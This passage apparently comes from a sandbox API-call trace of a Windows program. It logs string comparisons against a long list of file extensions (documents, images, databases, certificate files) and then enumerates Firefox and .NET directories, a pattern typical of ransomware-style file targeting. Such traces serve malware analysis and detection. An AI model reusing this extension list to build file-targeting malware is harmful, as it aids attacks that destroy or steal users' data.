	[0091.166] lstrcmpiW (lpString1=".dif", lpString2="list") returned -1
	[0091.166] lstrlenW (lpString=".divx") returned 5
	[0091.166] lstrcmpiW (lpString1=".divx", lpString2=".list") returned -1
	[0091.166] lstrlenW (lpString=".djvu") returned 5
	[0091.167] lstrcmpiW (lpString1=".djvu", lpString2=".list") returned -1
	[0091.167] lstrlenW (lpString=".dng") returned 4
	[0091.167] lstrcmpiW (lpString1=".dng", lpString2="list") returned -1
	[0091.167] lstrlenW (lpString=".doc") returned 4
	[0091.167] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1
	[0091.167] lstrlenW (lpString=".docm") returned 5
	[0091.167] lstrcmpiW (lpString1=".docm", lpString2=".list") returned -1
	[0091.167] lstrlenW (lpString=".docx") returned 5
	[0091.167] lstrcmpiW (lpString1=".docx", lpString2=".list") returned -1
	[0091.167] lstrlenW (lpString=".dot") returned 4
	[0091.167] lstrcmpiW (lpString1=".dot", lpString2="list") returned -1
	[0091.167] lstrlenW (lpString=".dotm") returned 5
	[0091.167] lstrcmpiW (lpString1=".dotm", lpString2=".list") returned -1
	[0091.167] lstrlenW (lpString=".dotx") returned 5
	[0091.167] lstrcmpiW (lpString1=".dotx", lpString2=".list") returned -1
	[0091.167] lstrlenW (lpString=".dpx") returned 4
	[0091.167] lstrcmpiW (lpString1=".dpx", lpString2="list") returned -1
	[0091.167] lstrlenW (lpString=".dqy") returned 4
	[0091.167] lstrcmpiW (lpString1=".dqy", lpString2="list") returned -1
	[0091.167] lstrlenW (lpString=".dsn") returned 4
	[0091.167] lstrcmpiW (lpString1=".dsn", lpString2="list") returned -1
	[0091.167] lstrlenW (lpString=".dt") returned 3
	[0091.167] lstrcmpiW (lpString1=".dt", lpString2="ist") returned -1
	[0091.167] lstrlenW (lpString=".dtd") returned 4
	[0091.167] lstrcmpiW (lpString1=".dtd", lpString2="list") returned -1
	[0091.167] lstrlenW (lpString=".dwg") returned 4
	[0091.167] lstrcmpiW (lpString1=".dwg", lpString2="list") returned -1
	[0091.167] lstrlenW (lpString=".dwt") returned 4
	[0091.167] lstrcmpiW (lpString1=".dwt", lpString2="list") returned -1
	[0091.167] lstrlenW (lpString=".dx") returned 3
	[0091.167] lstrcmpiW (lpString1=".dx", lpString2="ist") returned -1
	[0091.167] lstrlenW (lpString=".dxf") returned 4
	[0091.167] lstrcmpiW (lpString1=".dxf", lpString2="list") returned -1
	[0091.167] lstrlenW (lpString=".edml") returned 5
	[0091.167] lstrcmpiW (lpString1=".edml", lpString2=".list") returned -1
	[0091.167] lstrlenW (lpString=".efd") returned 4
	[0091.167] lstrcmpiW (lpString1=".efd", lpString2="list") returned -1
	[0091.168] lstrlenW (lpString=".elf") returned 4
	[0091.168] lstrcmpiW (lpString1=".elf", lpString2="list") returned -1
	[0091.168] lstrlenW (lpString=".emf") returned 4
	[0091.168] lstrcmpiW (lpString1=".emf", lpString2="list") returned -1
	[0091.168] lstrlenW (lpString=".emz") returned 4
	[0091.168] lstrcmpiW (lpString1=".emz", lpString2="list") returned -1
	[0091.168] lstrlenW (lpString=".epf") returned 4
	[0091.168] lstrcmpiW (lpString1=".epf", lpString2="list") returned -1
	[0091.168] lstrlenW (lpString=".eps") returned 4
	[0091.168] lstrcmpiW (lpString1=".eps", lpString2="list") returned -1
	[0091.168] lstrlenW (lpString=".epsf") returned 5
	[0091.168] lstrcmpiW (lpString1=".epsf", lpString2=".list") returned -1
	[0091.168] lstrlenW (lpString=".epsp") returned 5
	[0091.168] lstrcmpiW (lpString1=".epsp", lpString2=".list") returned -1
	[0091.168] lstrlenW (lpString=".erf") returned 4
	[0091.168] lstrcmpiW (lpString1=".erf", lpString2="list") returned -1
	[0091.168] lstrlenW (lpString=".exr") returned 4
	[0091.168] lstrcmpiW (lpString1=".exr", lpString2="list") returned -1
	[0091.168] lstrlenW (lpString=".f4v") returned 4
	[0091.168] lstrcmpiW (lpString1=".f4v", lpString2="list") returned -1
	[0091.168] lstrlenW (lpString=".fido") returned 5
	[0091.168] lstrcmpiW (lpString1=".fido", lpString2=".list") returned -1
	[0091.168] lstrlenW (lpString=".flm") returned 4
	[0091.168] lstrcmpiW (lpString1=".flm", lpString2="list") returned -1
	[0091.168] lstrlenW (lpString=".flv") returned 4
	[0091.168] lstrcmpiW (lpString1=".flv", lpString2="list") returned -1
	[0091.168] lstrlenW (lpString=".frm") returned 4
	[0091.168] lstrcmpiW (lpString1=".frm", lpString2="list") returned -1
	[0091.168] lstrlenW (lpString=".fxg") returned 4
	[0091.168] lstrcmpiW (lpString1=".fxg", lpString2="list") returned -1
	[0091.168] lstrlenW (lpString=".geo") returned 4
	[0091.168] lstrcmpiW (lpString1=".geo", lpString2="list") returned -1
	[0091.168] lstrlenW (lpString=".gif") returned 4
	[0091.168] lstrcmpiW (lpString1=".gif", lpString2="list") returned -1
	[0091.168] lstrlenW (lpString=".grs") returned 4
	[0091.168] lstrcmpiW (lpString1=".grs", lpString2="list") returned -1
	[0091.168] lstrlenW (lpString=".gz") returned 3
	[0091.169] lstrcmpiW (lpString1=".gz", lpString2="ist") returned -1
	[0091.169] lstrlenW (lpString=".h") returned 2
	[0091.169] lstrcmpiW (lpString1=".h", lpString2="st") returned -1
	[0091.169] lstrlenW (lpString=".hdr") returned 4
	[0091.169] lstrcmpiW (lpString1=".hdr", lpString2="list") returned -1
	[0091.169] lstrlenW (lpString=".hpp") returned 4
	[0091.169] lstrcmpiW (lpString1=".hpp", lpString2="list") returned -1
	[0091.169] lstrlenW (lpString=".hta") returned 4
	[0091.169] lstrcmpiW (lpString1=".hta", lpString2="list") returned -1
	[0091.169] lstrlenW (lpString=".htc") returned 4
	[0091.169] lstrcmpiW (lpString1=".htc", lpString2="list") returned -1
	[0091.169] lstrlenW (lpString=".htm") returned 4
	[0091.169] lstrcmpiW (lpString1=".htm", lpString2="list") returned -1
	[0091.169] lstrlenW (lpString=".html") returned 5
	[0091.169] lstrcmpiW (lpString1=".html", lpString2=".list") returned -1
	[0091.169] lstrlenW (lpString=".icb") returned 4
	[0091.169] lstrcmpiW (lpString1=".icb", lpString2="list") returned -1
	[0091.169] lstrlenW (lpString=".ics") returned 4
	[0091.169] lstrcmpiW (lpString1=".ics", lpString2="list") returned -1
	[0091.169] lstrlenW (lpString=".iff") returned 4
	[0091.169] lstrcmpiW (lpString1=".iff", lpString2="list") returned -1
	[0091.169] lstrlenW (lpString=".inc") returned 4
	[0091.169] lstrcmpiW (lpString1=".inc", lpString2="list") returned -1
	[0091.169] lstrlenW (lpString=".indd") returned 5
	[0091.169] lstrcmpiW (lpString1=".indd", lpString2=".list") returned -1
	[0091.169] lstrlenW (lpString=".ini") returned 4
	[0091.169] lstrcmpiW (lpString1=".ini", lpString2="list") returned -1
	[0091.169] lstrlenW (lpString=".iqy") returned 4
	[0091.169] lstrcmpiW (lpString1=".iqy", lpString2="list") returned -1
	[0091.169] lstrlenW (lpString=".j2c") returned 4
	[0091.169] lstrcmpiW (lpString1=".j2c", lpString2="list") returned -1
	[0091.169] lstrlenW (lpString=".j2k") returned 4
	[0091.169] lstrcmpiW (lpString1=".j2k", lpString2="list") returned -1
	[0091.169] lstrlenW (lpString=".java") returned 5
	[0091.169] lstrcmpiW (lpString1=".java", lpString2=".list") returned -1
	[0091.169] lstrlenW (lpString=".jp2") returned 4
	[0091.169] lstrcmpiW (lpString1=".jp2", lpString2="list") returned -1
	[0091.169] lstrlenW (lpString=".jpc") returned 4
	[0091.170] lstrcmpiW (lpString1=".jpc", lpString2="list") returned -1
	[0091.170] lstrlenW (lpString=".jpe") returned 4
	[0091.170] lstrcmpiW (lpString1=".jpe", lpString2="list") returned -1
	[0091.170] lstrlenW (lpString=".jpeg") returned 5
	[0091.170] lstrcmpiW (lpString1=".jpeg", lpString2=".list") returned -1
	[0091.170] lstrlenW (lpString=".jpf") returned 4
	[0091.170] lstrcmpiW (lpString1=".jpf", lpString2="list") returned -1
	[0091.170] lstrlenW (lpString=".jpg") returned 4
	[0091.170] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1
	[0091.170] lstrlenW (lpString=".jpx") returned 4
	[0091.170] lstrcmpiW (lpString1=".jpx", lpString2="list") returned -1
	[0091.170] lstrlenW (lpString=".js") returned 3
	[0091.170] lstrcmpiW (lpString1=".js", lpString2="ist") returned -1
	[0091.170] lstrlenW (lpString=".jsf") returned 4
	[0091.170] lstrcmpiW (lpString1=".jsf", lpString2="list") returned -1
	[0091.170] lstrlenW (lpString=".json") returned 5
	[0091.170] lstrcmpiW (lpString1=".json", lpString2=".list") returned -1
	[0091.170] lstrlenW (lpString=".jsp") returned 4
	[0091.170] lstrcmpiW (lpString1=".jsp", lpString2="list") returned -1
	[0091.170] lstrlenW (lpString=".kdc") returned 4
	[0091.170] lstrcmpiW (lpString1=".kdc", lpString2="list") returned -1
	[0091.170] lstrlenW (lpString=".kmz") returned 4
	[0091.170] lstrcmpiW (lpString1=".kmz", lpString2="list") returned -1
	[0091.170] lstrlenW (lpString=".kwm") returned 4
	[0091.170] lstrcmpiW (lpString1=".kwm", lpString2="list") returned -1
	[0091.170] lstrlenW (lpString=".lasso") returned 6
	[0091.170] lstrcmpiW (lpString1=".lasso", lpString2="s.list") returned -1
	[0091.170] lstrlenW (lpString=".lbi") returned 4
	[0091.170] lstrcmpiW (lpString1=".lbi", lpString2="list") returned -1
	[0091.170] lstrlenW (lpString=".lgf") returned 4
	[0091.170] lstrcmpiW (lpString1=".lgf", lpString2="list") returned -1
	[0091.170] lstrlenW (lpString=".lgp") returned 4
	[0091.170] lstrcmpiW (lpString1=".lgp", lpString2="list") returned -1
	[0091.170] lstrlenW (lpString=".log") returned 4
	[0091.170] lstrcmpiW (lpString1=".log", lpString2="list") returned -1
	[0091.170] lstrlenW (lpString=".m1v") returned 4
	[0091.170] lstrcmpiW (lpString1=".m1v", lpString2="list") returned -1
	[0091.171] lstrlenW (lpString=".m4a") returned 4
	[0091.171] lstrcmpiW (lpString1=".m4a", lpString2="list") returned -1
	[0091.171] lstrlenW (lpString=".m4v") returned 4
	[0091.171] lstrcmpiW (lpString1=".m4v", lpString2="list") returned -1
	[0091.171] lstrlenW (lpString=".max") returned 4
	[0091.171] lstrcmpiW (lpString1=".max", lpString2="list") returned -1
	[0091.171] lstrlenW (lpString=".md") returned 3
	[0091.171] lstrcmpiW (lpString1=".md", lpString2="ist") returned -1
	[0091.171] lstrlenW (lpString=".mda") returned 4
	[0091.171] lstrcmpiW (lpString1=".mda", lpString2="list") returned -1
	[0091.171] lstrlenW (lpString=".mdb") returned 4
	[0091.171] lstrcmpiW (lpString1=".mdb", lpString2="list") returned -1
	[0091.171] lstrlenW (lpString=".mde") returned 4
	[0091.171] lstrcmpiW (lpString1=".mde", lpString2="list") returned -1
	[0091.171] lstrlenW (lpString=".mdf") returned 4
	[0091.171] lstrcmpiW (lpString1=".mdf", lpString2="list") returned -1
	[0091.171] lstrlenW (lpString=".mdw") returned 4
	[0091.171] lstrcmpiW (lpString1=".mdw", lpString2="list") returned -1
	[0091.171] lstrlenW (lpString=".mef") returned 4
	[0091.171] lstrcmpiW (lpString1=".mef", lpString2="list") returned -1
	[0091.171] lstrlenW (lpString=".mft") returned 4
	[0091.171] lstrcmpiW (lpString1=".mft", lpString2="list") returned -1
	[0091.171] lstrlenW (lpString=".mfw") returned 4
	[0091.171] lstrcmpiW (lpString1=".mfw", lpString2="list") returned -1
	[0091.171] lstrlenW (lpString=".mht") returned 4
	[0091.171] lstrcmpiW (lpString1=".mht", lpString2="list") returned -1
	[0091.171] lstrlenW (lpString=".mhtml") returned 6
	[0091.171] lstrcmpiW (lpString1=".mhtml", lpString2="s.list") returned -1
	[0091.171] lstrlenW (lpString=".mka") returned 4
	[0091.171] lstrcmpiW (lpString1=".mka", lpString2="list") returned -1
	[0091.171] lstrlenW (lpString=".mkidx") returned 6
	[0091.171] lstrcmpiW (lpString1=".mkidx", lpString2="s.list") returned -1
	[0091.171] lstrlenW (lpString=".mkv") returned 4
	[0091.171] lstrcmpiW (lpString1=".mkv", lpString2="list") returned -1
	[0091.171] lstrlenW (lpString=".mos") returned 4
	[0091.171] lstrcmpiW (lpString1=".mos", lpString2="list") returned -1
	[0091.171] lstrlenW (lpString=".mov") returned 4
	[0091.171] lstrcmpiW (lpString1=".mov", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".mp3") returned 4
	[0091.172] lstrcmpiW (lpString1=".mp3", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".mp4") returned 4
	[0091.172] lstrcmpiW (lpString1=".mp4", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".mpeg") returned 5
	[0091.172] lstrcmpiW (lpString1=".mpeg", lpString2=".list") returned 1
	[0091.172] lstrlenW (lpString=".mpg") returned 4
	[0091.172] lstrcmpiW (lpString1=".mpg", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".mpv") returned 4
	[0091.172] lstrcmpiW (lpString1=".mpv", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".mrw") returned 4
	[0091.172] lstrcmpiW (lpString1=".mrw", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".msg") returned 4
	[0091.172] lstrcmpiW (lpString1=".msg", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".mxl") returned 4
	[0091.172] lstrcmpiW (lpString1=".mxl", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".myd") returned 4
	[0091.172] lstrcmpiW (lpString1=".myd", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".myi") returned 4
	[0091.172] lstrcmpiW (lpString1=".myi", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".nef") returned 4
	[0091.172] lstrcmpiW (lpString1=".nef", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".nrw") returned 4
	[0091.172] lstrcmpiW (lpString1=".nrw", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".obj") returned 4
	[0091.172] lstrcmpiW (lpString1=".obj", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".odb") returned 4
	[0091.172] lstrcmpiW (lpString1=".odb", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".odc") returned 4
	[0091.172] lstrcmpiW (lpString1=".odc", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".odm") returned 4
	[0091.172] lstrcmpiW (lpString1=".odm", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".odp") returned 4
	[0091.172] lstrcmpiW (lpString1=".odp", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".ods") returned 4
	[0091.172] lstrcmpiW (lpString1=".ods", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".oft") returned 4
	[0091.172] lstrcmpiW (lpString1=".oft", lpString2="list") returned -1
	[0091.172] lstrlenW (lpString=".one") returned 4
	[0091.173] lstrcmpiW (lpString1=".one", lpString2="list") returned -1
	[0091.173] lstrlenW (lpString=".onepkg") returned 7
	[0091.173] lstrcmpiW (lpString1=".onepkg", lpString2="bs.list") returned -1
	[0091.173] lstrlenW (lpString=".onetoc2") returned 8
	[0091.173] lstrcmpiW (lpString1=".onetoc2", lpString2="ibs.list") returned -1
	[0091.173] lstrlenW (lpString=".opt") returned 4
	[0091.173] lstrcmpiW (lpString1=".opt", lpString2="list") returned -1
	[0091.173] lstrlenW (lpString=".oqy") returned 4
	[0091.173] lstrcmpiW (lpString1=".oqy", lpString2="list") returned -1
	[0091.173] lstrlenW (lpString=".orf") returned 4
	[0091.173] lstrcmpiW (lpString1=".orf", lpString2="list") returned -1
	[0091.173] lstrlenW (lpString=".p12") returned 4
	[0091.173] lstrcmpiW (lpString1=".p12", lpString2="list") returned -1
	[0091.173] lstrlenW (lpString=".p7b") returned 4
	[0091.173] lstrcmpiW (lpString1=".p7b", lpString2="list") returned -1
	[0091.173] lstrlenW (lpString=".p7c") returned 4
	[0091.173] lstrcmpiW (lpString1=".p7c", lpString2="list") returned -1
	[0091.173] lstrlenW (lpString=".pam") returned 4
	[0091.173] lstrcmpiW (lpString1=".pam", lpString2="list") returned -1
	[0091.173] lstrlenW (lpString=".pbm") returned 4
	[0091.173] lstrcmpiW (lpString1=".pbm", lpString2="list") returned -1
	[0091.173] lstrlenW (lpString=".pct") returned 4
	[0091.173] lstrcmpiW (lpString1=".pct", lpString2="list") returned -1
	[0091.173] lstrlenW (lpString=".pcx") returned 4
	[0091.173] lstrcmpiW (lpString1=".pcx", lpString2="list") returned -1
	[0091.173] lstrlenW (lpString=".pdd") returned 4
	[0091.173] lstrcmpiW (lpString1=".pdd", lpString2="list") returned -1
	[0091.173] lstrlenW (lpString=".pdf") returned 4
	[0091.173] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1
	[0091.173] lstrlenW (lpString=".pdp") returned 4
	[0091.173] lstrcmpiW (lpString1=".pdp", lpString2="list") returned -1
	[0091.173] lstrlenW (lpString=".pef") returned 4
	[0091.173] lstrcmpiW (lpString1=".pef", lpString2="list") returned -1
	[0091.173] lstrlenW (lpString=".pem") returned 4
	[0091.173] lstrcmpiW (lpString1=".pem", lpString2="list") returned -1
	[0091.173] lstrlenW (lpString=".pff") returned 4
	[0091.173] lstrcmpiW (lpString1=".pff", lpString2="list") returned -1
	[0091.174] lstrlenW (lpString=".pfm") returned 4
	[0091.174] lstrcmpiW (lpString1=".pfm", lpString2="list") returned -1
	[0091.174] lstrlenW (lpString=".pfx") returned 4
	[0091.174] lstrcmpiW (lpString1=".pfx", lpString2="list") returned -1
	[0091.174] lstrlenW (lpString=".pgm") returned 4
	[0091.174] lstrcmpiW (lpString1=".pgm", lpString2="list") returned -1
	[0091.174] lstrlenW (lpString=".php") returned 4
	[0091.174] lstrcmpiW (lpString1=".php", lpString2="list") returned -1
	[0091.174] lstrlenW (lpString=".php3") returned 5
	[0091.174] lstrcmpiW (lpString1=".php3", lpString2=".list") returned 1
	[0091.174] lstrlenW (lpString=".php4") returned 5
	[0091.174] lstrcmpiW (lpString1=".php4", lpString2=".list") returned 1
	[0091.174] lstrlenW (lpString=".php5") returned 5
	[0091.174] lstrcmpiW (lpString1=".php5", lpString2=".list") returned 1
	[0091.174] lstrlenW (lpString=".phtml") returned 6
	[0091.174] lstrcmpiW (lpString1=".phtml", lpString2="s.list") returned -1
	[0091.174] lstrlenW (lpString=".pict") returned 5
	[0091.174] lstrcmpiW (lpString1=".pict", lpString2=".list") returned 1
	[0091.174] lstrlenW (lpString=".pl") returned 3
	[0091.174] lstrcmpiW (lpString1=".pl", lpString2="ist") returned -1
	[0091.174] lstrlenW (lpString=".pls") returned 4
	[0091.174] lstrcmpiW (lpString1=".pls", lpString2="list") returned -1
	[0091.174] lstrlenW (lpString=".pm") returned 3
	[0091.174] lstrcmpiW (lpString1=".pm", lpString2="ist") returned -1
	[0091.174] lstrlenW (lpString=".png") returned 4
	[0091.174] lstrcmpiW (lpString1=".png", lpString2="list") returned -1
	[0091.174] lstrlenW (lpString=".pnm") returned 4
	[0091.174] lstrcmpiW (lpString1=".pnm", lpString2="list") returned -1
	[0091.174] lstrlenW (lpString=".pot") returned 4
	[0091.174] lstrcmpiW (lpString1=".pot", lpString2="list") returned -1
	[0091.174] lstrlenW (lpString=".potm") returned 5
	[0091.174] lstrcmpiW (lpString1=".potm", lpString2=".list") returned 1
	[0091.174] lstrlenW (lpString=".potx") returned 5
	[0091.174] lstrcmpiW (lpString1=".potx", lpString2=".list") returned 1
	[0091.174] lstrlenW (lpString=".ppa") returned 4
	[0091.174] lstrcmpiW (lpString1=".ppa", lpString2="list") returned -1
	[0091.174] lstrlenW (lpString=".ppam") returned 5
	[0091.174] lstrcmpiW (lpString1=".ppam", lpString2=".list") returned 1
	[0091.175] lstrlenW (lpString=".ppm") returned 4
	[0091.175] lstrcmpiW (lpString1=".ppm", lpString2="list") returned -1
	[0091.175] lstrlenW (lpString=".pps") returned 4
	[0091.175] lstrcmpiW (lpString1=".pps", lpString2="list") returned -1
	[0091.175] lstrlenW (lpString=".ppsm") returned 5
	[0091.175] lstrcmpiW (lpString1=".ppsm", lpString2=".list") returned 1
	[0091.175] lstrlenW (lpString=".ppt") returned 4
	[0091.175] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1
	[0091.175] lstrlenW (lpString=".pptm") returned 5
	[0091.175] lstrcmpiW (lpString1=".pptm", lpString2=".list") returned 1
	[0091.175] lstrlenW (lpString=".pptx") returned 5
	[0091.175] lstrcmpiW (lpString1=".pptx", lpString2=".list") returned 1
	[0091.175] lstrlenW (lpString=".prn") returned 4
	[0091.175] lstrcmpiW (lpString1=".prn", lpString2="list") returned -1
	[0091.175] lstrlenW (lpString=".ps") returned 3
	[0091.175] lstrcmpiW (lpString1=".ps", lpString2="ist") returned -1
	[0091.175] lstrlenW (lpString=".psb") returned 4
	[0091.175] lstrcmpiW (lpString1=".psb", lpString2="list") returned -1
	[0091.175] lstrlenW (lpString=".psd") returned 4
	[0091.175] lstrcmpiW (lpString1=".psd", lpString2="list") returned -1
	[0091.175] lstrlenW (lpString=".pst") returned 4
	[0091.175] lstrcmpiW (lpString1=".pst", lpString2="list") returned -1
	[0091.175] lstrlenW (lpString=".ptx") returned 4
	[0091.175] lstrcmpiW (lpString1=".ptx", lpString2="list") returned -1
	[0091.175] lstrlenW (lpString=".pub") returned 4
	[0091.175] lstrcmpiW (lpString1=".pub", lpString2="list") returned -1
	[0091.175] lstrlenW (lpString=".pwm") returned 4
	[0091.175] lstrcmpiW (lpString1=".pwm", lpString2="list") returned -1
	[0091.175] lstrlenW (lpString=".pxr") returned 4
	[0091.175] lstrcmpiW (lpString1=".pxr", lpString2="list") returned -1
	[0091.175] lstrlenW (lpString=".py") returned 3
	[0091.175] lstrcmpiW (lpString1=".py", lpString2="ist") returned -1
	[0091.175] lstrlenW (lpString=".qt") returned 3
	[0091.175] lstrcmpiW (lpString1=".qt", lpString2="ist") returned -1
	[0091.175] lstrlenW (lpString=".r3d") returned 4
	[0091.175] lstrcmpiW (lpString1=".r3d", lpString2="list") returned -1
	[0091.175] lstrlenW (lpString=".raf") returned 4
	[0091.176] lstrcmpiW (lpString1=".raf", lpString2="list") returned -1
	[0091.176] lstrlenW (lpString=".rar") returned 4
	[0091.176] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1
	[0091.176] lstrlenW (lpString=".raw") returned 4
	[0091.176] lstrcmpiW (lpString1=".raw", lpString2="list") returned -1
	[0091.737] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0091.737] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0cc6d9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x767d8300, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x7cdd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="firefox.exe", cAlternateFileName="")) returned 1
	[0091.738] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0091.738] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec118bb8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec118bb8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x77aeb000, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="freebl3.chk", cAlternateFileName="")) returned 1
	[0091.738] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0091.738] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecb87321, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="0.1", cAlternateFileName="")) returned 0
	[0091.738] FindClose (in: hFindFile=0x31215d0 | out: hFindFile=0x31215d0) returned 1
	[0091.738] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0091.738] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec13ee02, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x78dfdd00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x139d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA2Marshal.dll", cAlternateFileName="IA2MAR~1.DLL")) returned 1
	[0091.739] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0091.739] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec629cf8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec629cf8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdde50400, ftLastWriteTime.dwHighDateTime=0x1d31cdd, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="update-settings.ini", cAlternateFileName="UPDATE~1.INI")) returned 1
	[0091.739] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0091.739] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3e8686d2, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e8686d2, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="MSBuild", cAlternateFileName="")) returned 1
	[0091.740] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.740] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0091.740] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0091.740] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0091.740] FindClose (in: hFindFile=0x31215d0 | out: hFindFile=0x31215d0) returned 1
	[0091.740] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0091.740] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0
	[0091.740] FindClose (in: hFindFile=0x3121450 | out: hFindFile=0x3121450) returned 1
	[0091.740] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
